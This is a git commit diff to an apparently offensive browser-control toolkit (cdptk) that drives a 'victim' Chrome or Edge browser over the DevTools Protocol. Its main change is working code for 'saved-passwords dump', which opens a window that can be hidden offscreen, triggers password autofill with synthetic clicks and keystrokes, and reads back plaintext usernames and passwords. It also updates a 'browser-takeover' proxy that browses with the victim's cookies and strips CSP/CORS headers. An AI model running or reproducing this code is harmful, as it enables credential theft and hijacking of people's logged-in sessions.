This commit is contained in:
KingOfTheNOPs
2026-05-13 10:53:50 -04:00
parent 649de5434e
commit 0dc25b1985
4 changed files with 403 additions and 95 deletions
+21 -6
View File
@@ -96,18 +96,30 @@ Lists saved-password site metadata through the browser's password manager WebUI.
This command inventories saved-password metadata. It does not decrypt passwords directly and does not read the `Login Data` database. This command inventories saved-password metadata. It does not decrypt passwords directly and does not read the `Login Data` database.
> [!WARNING]
> `saved-passwords list` opens the browser password-manager/settings WebUI through CDP. Edge only populates saved-password rows in a visible target in current testing, so Edge is restricted to `--mode visible`. Chrome works with `--mode visible`, `--mode background`, and `--mode hidden`.
```powershell ```powershell
cdptk saved-passwords list --cdp-endpoint http://127.0.0.1:9222 --out saved-password-sites.json cdptk saved-passwords list --cdp-endpoint http://127.0.0.1:9222 --out saved-password-sites.json
``` ```
### `saved-passwords dump` ### `saved-passwords dump`
Attempts an autofill-backed password recovery workflow against a real origin. The command creates a target, navigates to the origin, uses either an injected controlled login form or provided selectors, triggers browser autofill with user-like input, and reads the resulting field values through CDP. Attempts an autofill-backed password recovery workflow against a real origin. The command creates a real browser window, optionally parks it offscreen, enables focus emulation, uses either the page's login form or an injected controlled form, triggers browser password autofill with CDP input events, and reads the resulting field values through CDP.
This depends on browser state. Autofill behavior can vary based on visibility, user gesture requirements, password manager settings, enterprise policy, origin matching, and whether the browser is willing to fill the form. Start with the real saved login URL and `--no-inject-form`. The saved-password realm and login URL have to match closely. Prefer the exact URL Chrome shows for the saved site, such as `http://test.local/`; a different path, host, or port can prevent the popup from offering the credential even when a similar page is served. `--inject-form` is still useful when the page markup fights autofill, but current testing shows the real page is the better first attempt.
The popup selection path is deliberately simple: click a credential field, wait for Chromium's saved-password popup, send `ArrowDown` and `Enter` through CDP keyboard events, then read the field values. It tries the username field first, then the password field if needed. The popup is browser UI, so the tool avoids coordinate-clicking the black popup row. Tune `--popup-open-ms` if a slow site needs more time before the keyboard selection.
> [!WARNING]
> `saved-passwords dump` defaults to `--mode visible` because Chromium's browser-side password popup is native browser UI. `--mode offscreen` parks the window at negative coordinates; Edge handled that in testing, but Chrome may fail if its saved-password popup cannot anchor to the offscreen native window.
By default, the command prints a compact JSON result with the recovered values and the attempt that worked. Use `--full` when you need the diagnostic window bounds, field geometry, and per-attempt details.
```powershell ```powershell
cdptk saved-passwords dump https://example.com --cdp-endpoint http://127.0.0.1:9222 --mode visible --out autofill.json cdptk saved-passwords dump http://test.local/ --cdp-endpoint http://127.0.0.1:9222 --no-inject-form --out autofill.json
cdptk saved-passwords dump https://example.com/login --cdp-endpoint http://127.0.0.1:9222 --mode visible --popup-open-ms 1200 --out autofill.json
cdptk saved-passwords dump https://example.com/login --cdp-endpoint http://127.0.0.1:9222 --full --out autofill-debug.json
cdptk saved-passwords dump https://example.com --cdp-endpoint http://127.0.0.1:9222 --no-inject-form --username-selector "#user" --password-selector "#pass" cdptk saved-passwords dump https://example.com --cdp-endpoint http://127.0.0.1:9222 --no-inject-form --username-selector "#user" --password-selector "#pass"
``` ```
@@ -197,7 +209,6 @@ Modes:
| Mode | What it does | | Mode | What it does |
| --- | --- | | --- | --- |
| `offscreen` | Creates a dedicated window and moves it off-screen before screencasting it. | | `offscreen` | Creates a dedicated window and moves it off-screen before screencasting it. |
| `foreground` | Creates a visible window, useful for troubleshooting. |
| `background` | Creates a background tab in the current browser window. | | `background` | Creates a background tab in the current browser window. |
### `browser-takeover proxy` ### `browser-takeover proxy`
@@ -211,6 +222,9 @@ cdptk browser-takeover proxy `
--cdp-endpoint http://127.0.0.1:9222 ` --cdp-endpoint http://127.0.0.1:9222 `
--listen 127.0.0.1:8080 ` --listen 127.0.0.1:8080 `
--cert-dir runs/proxy/certs ` --cert-dir runs/proxy/certs `
--mode hidden `
--resource-strategy safe `
--download-policy deny `
-v -v
``` ```
@@ -227,8 +241,9 @@ What the proxy does:
- Uses victim Chrome to perform upstream document requests. - Uses victim Chrome to perform upstream document requests.
- Preserves victim Chrome cookies and user agent where CDP exposes them. - Preserves victim Chrome cookies and user agent where CDP exposes them.
- Strips blocking CSP/CORS/framing headers to improve operator-side renderability. - Strips blocking CSP/CORS/framing headers to improve operator-side renderability.
- Uses `Network.loadNetworkResource` for GET/HEAD subresources such as fonts, scripts, styles, images, and download-prone extensions so those bytes stream back to the operator instead of causing victim-side downloads. - `--mode hidden` uses hidden CDP fetch targets when supported. Use `--mode background` when hidden targets are unsupported or you want visible browser tabs for troubleshooting.
- Denies hidden-tab browser downloads by default with `--deny-downloads`. - `--resource-strategy safe` uses `Network.loadNetworkResource` for GET/HEAD subresources such as fonts, scripts, styles, images, and download-prone extensions so those bytes stream back to the operator instead of causing victim-side downloads. Use `--resource-strategy navigate` to force the older navigate-everything behavior.
- `--download-policy deny` asks each CDP fetch target to deny browser downloads while proxying. Use `--download-policy allow` when you intentionally want browser-managed downloads.
- Retries top-level GET/HEAD attachment navigations that abort with `net::ERR_ABORTED` using a same-origin `Runtime.evaluate(fetch(..., credentials: "include"))` fallback so the operator browser can receive the file. - Retries top-level GET/HEAD attachment navigations that abort with `net::ERR_ABORTED` using a same-origin `Runtime.evaluate(fetch(..., credentials: "include"))` fallback so the operator browser can receive the file.
Proxy mode is useful for targeted request/response workflows and for browsing from the victim browser's network position. It is less faithful than screencast mode for complex portals because the operator browser renders and executes JavaScript locally while victim Chrome performs upstream fetches. Proxy mode is useful for targeted request/response workflows and for browsing from the victim browser's network position. It is less faithful than screencast mode for complex portals because the operator browser renders and executes JavaScript locally while victim Chrome performs upstream fetches.
+357 -64
View File
@@ -1,6 +1,8 @@
from __future__ import annotations from __future__ import annotations
import asyncio import asyncio
import base64
import contextlib
import json import json
import sys import sys
from pathlib import Path from pathlib import Path
@@ -12,11 +14,11 @@ from rich.table import Table
from .cdp_proxy import BrowseAsVictimProxyOptions, serve_browse_as_victim_proxy from .cdp_proxy import BrowseAsVictimProxyOptions, serve_browse_as_victim_proxy
from .client import CDPClient from .client import CDPClient
from .discovery import get_version, list_http_targets from .discovery import get_json, get_version, list_http_targets
from .log import info, set_verbose, warn from .log import info, set_verbose, warn
from .redact import redact_cookies from .redact import redact_cookies
from .remote_browser import RemoteBrowserOptions, serve_remote_browser from .remote_browser import RemoteBrowserOptions, serve_remote_browser
from .webui import collect_bookmarks, collect_extensions, collect_history, collect_password_sites from .webui import collect_bookmarks, collect_extensions, collect_history, collect_password_sites, product_prefix
HELP_SETTINGS = {"help_option_names": ["-h", "--help"]} HELP_SETTINGS = {"help_option_names": ["-h", "--help"]}
@@ -265,7 +267,7 @@ def tabs_screenshot(
def browser_takeover_screencast( def browser_takeover_screencast(
start_url: str = typer.Option("about:blank", "--start-url", "--url", help="Initial URL for the remote browser target."), start_url: str = typer.Option("about:blank", "--start-url", "--url", help="Initial URL for the remote browser target."),
listen: str = typer.Option("127.0.0.1:8093", "--listen", "-l", help="Operator web console bind address as HOST:PORT."), listen: str = typer.Option("127.0.0.1:8093", "--listen", "-l", help="Operator web console bind address as HOST:PORT."),
mode: str = typer.Option("offscreen", "--mode", help="offscreen, foreground, background"), mode: str = typer.Option("offscreen", "--mode", help="offscreen or background"),
width: int = typer.Option(1440, "--width", min=320, max=7680, help="Remote viewport/window width."), width: int = typer.Option(1440, "--width", min=320, max=7680, help="Remote viewport/window width."),
height: int = typer.Option(900, "--height", min=240, max=4320, help="Remote viewport/window height."), height: int = typer.Option(900, "--height", min=240, max=4320, help="Remote viewport/window height."),
quality: int = typer.Option(70, "--quality", min=1, max=100, help="JPEG screencast quality."), quality: int = typer.Option(70, "--quality", min=1, max=100, help="JPEG screencast quality."),
@@ -281,8 +283,8 @@ def browser_takeover_screencast(
"""Serve a local operator console that drives a CDP target via screencast.""" """Serve a local operator console that drives a CDP target via screencast."""
host, port = parse_listen(listen) host, port = parse_listen(listen)
if mode not in {"offscreen", "foreground", "background"}: if mode not in {"offscreen", "background"}:
raise typer.BadParameter("--mode must be offscreen, foreground, or background") raise typer.BadParameter("--mode must be offscreen or background")
options = RemoteBrowserOptions( options = RemoteBrowserOptions(
cdp_endpoint=cdp_endpoint, cdp_endpoint=cdp_endpoint,
socks=socks, socks=socks,
@@ -310,25 +312,23 @@ def browser_takeover_screencast(
def browser_takeover_proxy( def browser_takeover_proxy(
listen: str = typer.Option("127.0.0.1:8080", "--listen", "-l", help="Operator browser proxy bind address as HOST:PORT."), listen: str = typer.Option("127.0.0.1:8080", "--listen", "-l", help="Operator browser proxy bind address as HOST:PORT."),
cert_dir: Path = typer.Option(Path("runs/proxy/certs"), "--cert-dir", help="Directory for the generated CA and leaf certificates."), cert_dir: Path = typer.Option(Path("runs/proxy/certs"), "--cert-dir", help="Directory for the generated CA and leaf certificates."),
pool_size: int = typer.Option(3, "--pool-size", min=1, max=16, help="Number of hidden CDP fetch tabs."), pool_size: int = typer.Option(3, "--pool-size", min=1, max=16, help="Number of CDP fetch workers."),
fetch_timeout: float = typer.Option(20.0, "--fetch-timeout", min=1.0, max=180.0, help="Seconds to wait for each CDP-backed fetch."), fetch_timeout: float = typer.Option(20.0, "--fetch-timeout", min=1.0, max=180.0, help="Seconds to wait for each CDP-backed fetch."),
hidden: bool = typer.Option(True, "--hidden/--background", help="Use hidden targets when supported; otherwise use background tabs."), mode: str = typer.Option("hidden", "--mode", help="CDP fetch target type: hidden or background."),
subresource_loader: bool = typer.Option( resource_strategy: str = typer.Option("safe", "--resource-strategy", help="Resource handling: safe or navigate."),
True, download_policy: str = typer.Option("deny", "--download-policy", help="Browser download handling in fetch targets: deny or allow."),
"--subresource-loader/--navigate-subresources",
help="Use Network.loadNetworkResource for GET/HEAD subresources to avoid victim-side downloads.",
),
deny_downloads: bool = typer.Option(
True,
"--deny-downloads/--allow-downloads",
help="Ask each hidden CDP fetch tab to deny browser downloads while proxying.",
),
cdp_endpoint: str = REQUIRED_CDP_ENDPOINT, cdp_endpoint: str = REQUIRED_CDP_ENDPOINT,
socks: Optional[str] = typer.Option(None, "--socks", help="SOCKS proxy for CDP HTTP/WebSocket control traffic."), socks: Optional[str] = typer.Option(None, "--socks", help="SOCKS proxy for CDP HTTP/WebSocket control traffic."),
) -> None: ) -> None:
"""Serve a local HTTP/HTTPS proxy that fetches upstream through victim Chrome.""" """Serve a local HTTP/HTTPS proxy that fetches upstream through victim Chrome."""
host, port = parse_listen(listen) host, port = parse_listen(listen)
if mode not in {"hidden", "background"}:
raise typer.BadParameter("--mode must be hidden or background")
if resource_strategy not in {"safe", "navigate"}:
raise typer.BadParameter("--resource-strategy must be safe or navigate")
if download_policy not in {"deny", "allow"}:
raise typer.BadParameter("--download-policy must be deny or allow")
options = BrowseAsVictimProxyOptions( options = BrowseAsVictimProxyOptions(
cdp_endpoint=cdp_endpoint, cdp_endpoint=cdp_endpoint,
socks=socks, socks=socks,
@@ -337,9 +337,9 @@ def browser_takeover_proxy(
cert_dir=cert_dir, cert_dir=cert_dir,
pool_size=pool_size, pool_size=pool_size,
fetch_timeout=fetch_timeout, fetch_timeout=fetch_timeout,
hidden=hidden, hidden=mode == "hidden",
subresource_loader=subresource_loader, subresource_loader=resource_strategy == "safe",
deny_downloads=deny_downloads, deny_downloads=download_policy == "deny",
) )
try: try:
run(serve_browse_as_victim_proxy(options)) run(serve_browse_as_victim_proxy(options))
@@ -546,12 +546,21 @@ def saved_passwords_list(
cdp_endpoint: str = REQUIRED_CDP_ENDPOINT, cdp_endpoint: str = REQUIRED_CDP_ENDPOINT,
socks: Optional[str] = typer.Option(None, "--socks", help="SOCKS proxy for CDP HTTP/WebSocket control traffic."), socks: Optional[str] = typer.Option(None, "--socks", help="SOCKS proxy for CDP HTTP/WebSocket control traffic."),
limit: int = typer.Option(500, "--limit", "-n"), limit: int = typer.Option(500, "--limit", "-n"),
mode: str = typer.Option("hidden", "--mode", help="visible, background, hidden"), mode: str = typer.Option("visible", "--mode", help="Chrome: visible/background/hidden. Edge: visible only."),
out: Optional[Path] = typer.Option(None, "--out", "-o"), out: Optional[Path] = typer.Option(None, "--out", "-o"),
) -> None: ) -> None:
"""List saved-password site metadata through CDP. Does not decrypt passwords.""" """List saved-password site metadata through CDP. Does not decrypt passwords."""
async def _run(): async def _run():
if mode not in {"visible", "background", "hidden"}:
raise typer.BadParameter("--mode must be visible, background, or hidden")
version = await get_json(cdp_endpoint, "/json/version", proxy=socks)
product = version.get("Browser", "") if isinstance(version, dict) else ""
if product_prefix(product) == "edge" and mode != "visible":
raise typer.BadParameter(
"Edge saved-passwords list only supports --mode visible; "
"Chrome supports visible, background, and hidden."
)
async with await CDPClient.connect(cdp_endpoint, socks) as cdp: async with await CDPClient.connect(cdp_endpoint, socks) as cdp:
return await collect_password_sites(cdp, limit=limit, mode=mode) return await collect_password_sites(cdp, limit=limit, mode=mode)
@@ -565,32 +574,64 @@ def saved_passwords_dump(
origin: str = typer.Argument(..., help="Origin to test with browser autofill, e.g. https://login.example.com."), origin: str = typer.Argument(..., help="Origin to test with browser autofill, e.g. https://login.example.com."),
cdp_endpoint: str = REQUIRED_CDP_ENDPOINT, cdp_endpoint: str = REQUIRED_CDP_ENDPOINT,
socks: Optional[str] = typer.Option(None, "--socks", help="SOCKS proxy for CDP HTTP/WebSocket control traffic."), socks: Optional[str] = typer.Option(None, "--socks", help="SOCKS proxy for CDP HTTP/WebSocket control traffic."),
mode: str = typer.Option("visible", "--mode", help="visible, background, hidden"), mode: str = typer.Option("visible", "--mode", help="visible or offscreen; visible is more reliable for browser-side autofill UI."),
username_selector: str = typer.Option("#username", "--username-selector"), window_left: int = typer.Option(-31337, "--window-left", help="Offscreen window X coordinate."),
password_selector: str = typer.Option("#password", "--password-selector"), window_top: int = typer.Option(-31337, "--window-top", help="Offscreen window Y coordinate."),
inject_form: bool = typer.Option(True, "--inject-form/--no-inject-form"), width: int = typer.Option(1600, "--width", min=320, max=7680),
height: int = typer.Option(1000, "--height", min=240, max=4320),
username_selector: str = typer.Option('#username, #email, input[autocomplete="username"], input[name="username"], input[type="email"]', "--username-selector"),
password_selector: str = typer.Option('#password, #current-password, input[autocomplete="current-password"], input[type="password"]', "--password-selector"),
popup_open_ms: int = typer.Option(900, "--popup-open-ms", help="Milliseconds to wait after clicking a credential field for the saved-password popup to appear."),
debug_screenshot: Optional[Path] = typer.Option(None, "--debug-screenshot", help="Write a full-size page screenshot before closing the autofill target."),
debug_hold_after_open_ms: int = typer.Option(0, "--debug-hold-after-open-ms", min=0, max=300000, help="Hold after opening the saved-password popup and before sending keyboard selection."),
debug_hold_ms: int = typer.Option(0, "--debug-hold-ms", min=0, max=300000, help="Keep the autofill target open for this many milliseconds before cleanup."),
inject_form: bool = typer.Option(False, "--inject-form/--no-inject-form"),
full: bool = typer.Option(False, "--full", help="Include diagnostic window bounds, field geometry, and attempt details in JSON output."),
out: Optional[Path] = typer.Option(None, "--out", "-o"), out: Optional[Path] = typer.Option(None, "--out", "-o"),
) -> None: ) -> None:
"""Attempt a controlled-form autofill readback on a real origin.""" """Attempt a controlled-form autofill readback on a real origin."""
async def _run(): async def _run():
html = """ if mode not in {"offscreen", "visible"}:
<!doctype html><meta charset=utf-8> raise typer.BadParameter("--mode must be visible or offscreen")
<form>
<input id=u name=username autocomplete=username> form_html = """
<input id=p name=password type=password autocomplete=current-password> <main style="font-family: sans-serif; max-width: 520px; margin: 48px;">
</form> <h1>Login Page</h1>
<script>document.querySelector('#u').focus();</script> <form id="cdptk-login-form" method="post" autocomplete="on">
<label for="username">Username</label>
<input id="username" name="username" type="text" autocomplete="username"
style="display:block; width:420px; margin:8px 0 16px; font-size:16px;">
<label for="current-password">Password</label>
<input id="current-password" name="password" type="password" autocomplete="current-password"
style="display:block; width:420px; margin:8px 0 16px; font-size:16px;">
<button id="submit" type="submit">Login</button>
</form>
</main>
""" """
if inject_form: if inject_form:
user_sel = "#u" user_sel = "#username"
pass_sel = "#p" pass_sel = "#current-password"
else: else:
user_sel = username_selector user_sel = username_selector
pass_sel = password_selector pass_sel = password_selector
user_sel_js = json.dumps(user_sel) user_sel_js = json.dumps(user_sel)
pass_sel_js = json.dumps(pass_sel) pass_sel_js = json.dumps(pass_sel)
form_html_js = json.dumps(form_html)
inject_expr = f"""
(() => {{
let body = document.body;
if (!body) {{
body = document.createElement('body');
document.documentElement.appendChild(body);
}}
body.innerHTML = {form_html_js};
const user = document.querySelector({user_sel_js});
if (user) user.focus();
return !!user;
}})()
"""
ready_expr = f""" ready_expr = f"""
(() => {{ (() => {{
const user = document.querySelector({user_sel_js}); const user = document.querySelector({user_sel_js});
@@ -598,7 +639,10 @@ def saved_passwords_dump(
return {{ return {{
readyState: document.readyState, readyState: document.readyState,
hasUser: !!user, hasUser: !!user,
hasPass: !!pass hasPass: !!pass,
visibilityState: document.visibilityState,
documentHidden: document.hidden,
hasFocus: document.hasFocus()
}}; }};
}})() }})()
""" """
@@ -611,12 +655,27 @@ def saved_passwords_dump(
return {{ return {{
username_x: ub.left + ub.width / 2, username_x: ub.left + ub.width / 2,
username_y: ub.top + ub.height / 2, username_y: ub.top + ub.height / 2,
username_left: ub.left,
username_top: ub.top,
username_right: ub.right,
username_bottom: ub.bottom,
username_width: ub.width,
username_height: ub.height,
password_x: pb.left + pb.width / 2, password_x: pb.left + pb.width / 2,
password_y: pb.top + pb.height / 2, password_y: pb.top + pb.height / 2,
password_left: pb.left,
password_top: pb.top,
password_right: pb.right,
password_bottom: pb.bottom,
password_width: pb.width,
password_height: pb.height,
autocomplete_user: user.autocomplete || "", autocomplete_user: user.autocomplete || "",
autocomplete_pass: pass.autocomplete || "", autocomplete_pass: pass.autocomplete || "",
initial_username: user.value, initial_username: user.value,
initial_password: pass.value initial_password: pass.value,
inner_width: window.innerWidth,
inner_height: window.innerHeight,
device_pixel_ratio: window.devicePixelRatio
}}; }};
}})() }})()
""" """
@@ -636,41 +695,146 @@ def saved_passwords_dump(
result = await session.evaluate(expression) result = await session.evaluate(expression)
return result.get("result", {}).get("value") return result.get("result", {}).get("value")
async def click(session, x: float, y: float) -> None: async def move(session, x: float, y: float) -> None:
await session.send("Input.dispatchMouseEvent", {"type": "mouseMoved", "x": x, "y": y, "button": "none"})
await session.send("Input.dispatchMouseEvent", {"type": "mousePressed", "x": x, "y": y, "button": "left", "clickCount": 1})
await session.send("Input.dispatchMouseEvent", {"type": "mouseReleased", "x": x, "y": y, "button": "left", "clickCount": 1})
async def key(session, event_type: str, key_name: str, code: str, vk: int) -> None:
await session.send( await session.send(
"Input.dispatchKeyEvent", "Input.dispatchMouseEvent",
{"type": "mouseMoved", "x": x, "y": y, "button": "none", "buttons": 0, "pointerType": "mouse"},
)
async def click(session, x: float, y: float) -> None:
await move(session, x, y)
await session.send(
"Input.dispatchMouseEvent",
{ {
"type": event_type, "type": "mousePressed",
"key": key_name, "x": x,
"code": code, "y": y,
"windowsVirtualKeyCode": vk, "button": "left",
"nativeVirtualKeyCode": vk, "buttons": 1,
"clickCount": 1,
"pointerType": "mouse",
},
)
await session.send(
"Input.dispatchMouseEvent",
{
"type": "mouseReleased",
"x": x,
"y": y,
"button": "left",
"buttons": 0,
"clickCount": 1,
"pointerType": "mouse",
}, },
) )
async def key(
session,
event_type: str,
key_name: str,
code: str,
vk: int,
modifiers: int = 0,
text: str | None = None,
) -> None:
payload = {
"type": event_type,
"key": key_name,
"code": code,
"windowsVirtualKeyCode": vk,
"nativeVirtualKeyCode": vk,
"modifiers": modifiers,
"autoRepeat": False,
"isSystemKey": False,
}
if code == "ArrowDown":
payload["keyIdentifier"] = "Down"
elif code == "ArrowUp":
payload["keyIdentifier"] = "Up"
elif code == "Enter":
payload["keyIdentifier"] = "Enter"
if text is not None and event_type == "keyDown":
payload["text"] = text
payload["unmodifiedText"] = text
await session.send("Input.dispatchKeyEvent", payload)
async def press_key(
session,
key_name: str,
code: str,
vk: int,
*,
down_type: str = "rawKeyDown",
text: str | None = None,
) -> None:
await key(session, down_type, key_name, code, vk, text=text)
await key(session, "keyUp", key_name, code, vk)
async def write_debug_screenshot(session, path: Path) -> str:
result = await session.send("Page.captureScreenshot", {"format": "png", "fromSurface": True})
path.parent.mkdir(parents=True, exist_ok=True)
path.write_bytes(base64.b64decode(result["data"]))
info("wrote debug screenshot {}", path)
return str(path)
async with await CDPClient.connect(cdp_endpoint, socks) as cdp: async with await CDPClient.connect(cdp_endpoint, socks) as cdp:
target_id = await cdp.create_target(origin, mode=mode) params = {
"url": origin,
"newWindow": True,
"width": width,
"height": height,
"windowState": "normal",
"focus": True,
}
if mode == "offscreen":
params["left"] = window_left
params["top"] = window_top
info("creating autofill target mode={} origin={}", mode, origin)
target_id = (await cdp.send("Target.createTarget", params))["targetId"]
actual_window_bounds = None
with contextlib.suppress(Exception):
await cdp.send("Target.activateTarget", {"targetId": target_id})
with contextlib.suppress(Exception):
window = await cdp.send("Browser.getWindowForTarget", {"targetId": target_id})
await cdp.send("Browser.setWindowBounds", {"windowId": window["windowId"], "bounds": {"windowState": "normal"}})
bounds = {"width": width, "height": height}
if mode == "offscreen":
bounds["left"] = window_left
bounds["top"] = window_top
await cdp.send("Browser.setWindowBounds", {"windowId": window["windowId"], "bounds": bounds})
actual_window_bounds = (await cdp.send("Browser.getWindowBounds", {"windowId": window["windowId"]})).get("bounds")
session = await cdp.attach(target_id) session = await cdp.attach(target_id)
try: try:
await session.send("Page.enable") await session.send("Page.enable")
await session.send("Runtime.enable") await session.send("Runtime.enable")
await session.send("DOM.enable") await session.send("DOM.enable")
with contextlib.suppress(Exception):
await session.send("Page.bringToFront")
try: try:
await session.send("Emulation.setFocusEmulationEnabled", {"enabled": True}) await session.send("Emulation.setFocusEmulationEnabled", {"enabled": True})
focus_emulation = True
except Exception as exc: except Exception as exc:
info(f"focus emulation unavailable: {exc}") info(f"focus emulation unavailable: {exc}")
await session.send("Page.navigate", {"url": origin}) focus_emulation = False
await asyncio.sleep(1.0) with contextlib.suppress(Exception):
await session.send(
"Emulation.setDeviceMetricsOverride",
{
"width": width,
"height": height,
"deviceScaleFactor": 1,
"mobile": False,
"screenWidth": width,
"screenHeight": height,
},
)
if inject_form: if inject_form:
frame_id = (await session.send("Page.getFrameTree"))["frameTree"]["frame"]["id"] await asyncio.sleep(1.0)
await session.send("Page.setDocumentContent", {"frameId": frame_id, "html": html}) await value_from_eval(session, inject_expr)
await asyncio.sleep(0.5)
ready = False ready = False
state = {}
for _ in range(30): for _ in range(30):
state = await value_from_eval(session, ready_expr) or {} state = await value_from_eval(session, ready_expr) or {}
if state.get("hasUser") and state.get("hasPass") and state.get("readyState") in {"interactive", "complete"}: if state.get("hasUser") and state.get("hasPass") and state.get("readyState") in {"interactive", "complete"}:
@@ -681,26 +845,155 @@ def saved_passwords_dump(
raise typer.BadParameter("target page never exposed the requested username/password selectors") raise typer.BadParameter("target page never exposed the requested username/password selectors")
pos = await value_from_eval(session, pos_expr) or {} pos = await value_from_eval(session, pos_expr) or {}
await click(session, float(pos["username_x"]), float(pos["username_y"])) attempts = []
await asyncio.sleep(0.5) result = {}
await key(session, "keyDown", "ArrowDown", "ArrowDown", 40)
await key(session, "keyUp", "ArrowDown", "ArrowDown", 40) popup_open = max(popup_open_ms, 0) / 1000.0
await asyncio.sleep(0.2)
await key(session, "keyDown", "Enter", "Enter", 13) async def run_keyboard_attempt(
await key(session, "keyUp", "Enter", "Enter", 13) name: str,
await asyncio.sleep(1.0) *,
result = await value_from_eval(session, read_expr) or {} x: float,
y: float,
opened_from: str,
sequence: str,
down_type: str = "rawKeyDown",
enter_text: str | None = None,
) -> bool:
nonlocal result
info("trying saved-password popup keyboard path {}", name)
await click(session, x, y)
await asyncio.sleep(popup_open)
if debug_hold_after_open_ms > 0:
info("holding after {} popup open for {} ms", opened_from, debug_hold_after_open_ms)
await asyncio.sleep(debug_hold_after_open_ms / 1000.0)
await press_key(session, "ArrowDown", "ArrowDown", 40, down_type=down_type)
await asyncio.sleep(0.4)
after_arrow = await value_from_eval(session, read_expr) or {}
enter_sent = False
if not after_arrow.get("password"):
enter_sent = True
await press_key(session, "Enter", "Enter", 13, down_type=down_type, text=enter_text)
await asyncio.sleep(1.0)
result = await value_from_eval(session, read_expr) or {}
else:
result = after_arrow
item = {
"attempt": name,
"username_filled": bool(result.get("username")),
"password_filled": bool(result.get("password")),
"after_arrow_username_filled": bool(after_arrow.get("username")),
"after_arrow_password_filled": bool(after_arrow.get("password")),
"enter_sent": enter_sent,
"popup_open_ms": popup_open_ms,
"opened_from": opened_from,
"sequence": sequence,
}
attempts.append(item)
return bool(result.get("password"))
if not await run_keyboard_attempt(
"username-popup-arrow-enter",
x=float(pos["username_x"]),
y=float(pos["username_y"]),
opened_from="username",
sequence="click-username, arrow-down, enter-if-needed",
):
if not await run_keyboard_attempt(
"password-popup-arrow-enter",
x=float(pos["password_x"]),
y=float(pos["password_y"]),
opened_from="password",
sequence="click-password, arrow-down, enter-if-needed",
):
if not await run_keyboard_attempt(
"username-popup-keydown-arrow-enter",
x=float(pos["username_x"]),
y=float(pos["username_y"]),
opened_from="username",
sequence="click-username, keydown-arrow-down, keydown-enter-if-needed",
down_type="keyDown",
enter_text="\r",
):
await run_keyboard_attempt(
"password-popup-keydown-arrow-enter",
x=float(pos["password_x"]),
y=float(pos["password_y"]),
opened_from="password",
sequence="click-password, keydown-arrow-down, keydown-enter-if-needed",
down_type="keyDown",
enter_text="\r",
)
result["autocomplete_user"] = pos.get("autocomplete_user", "") result["autocomplete_user"] = pos.get("autocomplete_user", "")
result["autocomplete_pass"] = pos.get("autocomplete_pass", "") result["autocomplete_pass"] = pos.get("autocomplete_pass", "")
result["initial_username"] = pos.get("initial_username", "") result["initial_username"] = pos.get("initial_username", "")
result["initial_password"] = pos.get("initial_password", "") result["initial_password"] = pos.get("initial_password", "")
result["focus_emulation"] = focus_emulation
result["initial_page_state"] = state
result["field_geometry"] = {
key: pos.get(key)
for key in (
"username_x",
"username_y",
"username_left",
"username_top",
"username_right",
"username_bottom",
"username_width",
"username_height",
"password_x",
"password_y",
"password_left",
"password_top",
"password_right",
"password_bottom",
"password_width",
"password_height",
"inner_width",
"inner_height",
"device_pixel_ratio",
)
}
result["attempts"] = attempts
if debug_screenshot:
result["debug_screenshot"] = await write_debug_screenshot(session, debug_screenshot)
if debug_hold_ms > 0:
info("holding autofill target open for {} ms", debug_hold_ms)
await asyncio.sleep(debug_hold_ms / 1000.0)
finally: finally:
try: try:
await cdp.detach(session) await cdp.detach(session)
finally: finally:
await cdp.close_target(target_id) await cdp.close_target(target_id)
data = {"origin": origin, "mode": mode, "result": result} successful_attempt = next((attempt for attempt in result.get("attempts", []) if attempt.get("password_filled")), None)
dump_json(data, out) compact = {
"url": result.get("url", origin),
"mode": mode,
"success": bool(result.get("password")),
"username": result.get("username", ""),
"password": result.get("password", ""),
"attempt": successful_attempt.get("attempt") if successful_attempt else None,
"opened_from": successful_attempt.get("opened_from") if successful_attempt else None,
}
if debug_screenshot and result.get("debug_screenshot"):
compact["debug_screenshot"] = result["debug_screenshot"]
data = {
"origin": origin,
"mode": mode,
"window": {
"left": window_left,
"top": window_top,
"width": width,
"height": height,
"actual_bounds": actual_window_bounds,
},
"result": result,
}
dump_json(data if full else compact, out)
run(_run()) run(_run())
+9 -14
View File
@@ -64,8 +64,8 @@ class RemoteBrowserServer:
self._started_at = time.time() self._started_at = time.time()
async def start(self) -> None: async def start(self) -> None:
if self.options.mode not in {"offscreen", "foreground", "background"}: if self.options.mode not in {"offscreen", "background"}:
raise ValueError("--mode must be offscreen, foreground, or background") raise ValueError("--mode must be offscreen or background")
self.cdp = await CDPClient.connect(self.options.cdp_endpoint, self.options.socks) self.cdp = await CDPClient.connect(self.options.cdp_endpoint, self.options.socks)
await self._create_target() await self._create_target()
@@ -124,18 +124,17 @@ class RemoteBrowserServer:
params: dict[str, Any] = {"url": "about:blank"} params: dict[str, Any] = {"url": "about:blank"}
if self.browser_context_id: if self.browser_context_id:
params["browserContextId"] = self.browser_context_id params["browserContextId"] = self.browser_context_id
if self.options.mode in {"offscreen", "foreground"}: if self.options.mode == "offscreen":
params.update( params.update(
{ {
"newWindow": True, "newWindow": True,
"width": self.options.width, "width": self.options.width,
"height": self.options.height, "height": self.options.height,
"background": self.options.mode == "offscreen", "background": True,
} }
) )
if self.options.mode == "offscreen": params["left"] = self.options.offscreen_left
params["left"] = self.options.offscreen_left params["top"] = self.options.offscreen_top
params["top"] = self.options.offscreen_top
elif self.options.mode == "background": elif self.options.mode == "background":
params["background"] = True params["background"] = True
@@ -144,7 +143,7 @@ class RemoteBrowserServer:
self.target_id = result["targetId"] self.target_id = result["targetId"]
self.session = await self.cdp.attach(self.target_id) self.session = await self.cdp.attach(self.target_id)
if self.options.mode in {"offscreen", "foreground"}: if self.options.mode == "offscreen":
with contextlib.suppress(Exception): with contextlib.suppress(Exception):
window = await self.cdp.send("Browser.getWindowForTarget", {"targetId": self.target_id}) window = await self.cdp.send("Browser.getWindowForTarget", {"targetId": self.target_id})
self.window_id = int(window["windowId"]) self.window_id = int(window["windowId"])
@@ -153,9 +152,8 @@ class RemoteBrowserServer:
"height": self.options.height, "height": self.options.height,
"windowState": "normal", "windowState": "normal",
} }
if self.options.mode == "offscreen": bounds["left"] = self.options.offscreen_left
bounds["left"] = self.options.offscreen_left bounds["top"] = self.options.offscreen_top
bounds["top"] = self.options.offscreen_top
await self.cdp.send("Browser.setWindowBounds", {"windowId": self.window_id, "bounds": bounds}) await self.cdp.send("Browser.setWindowBounds", {"windowId": self.window_id, "bounds": bounds})
async def _enable_target(self) -> None: async def _enable_target(self) -> None:
@@ -176,9 +174,6 @@ class RemoteBrowserServer:
"screenHeight": self.options.height, "screenHeight": self.options.height,
}, },
) )
if self.options.mode == "foreground":
with contextlib.suppress(Exception):
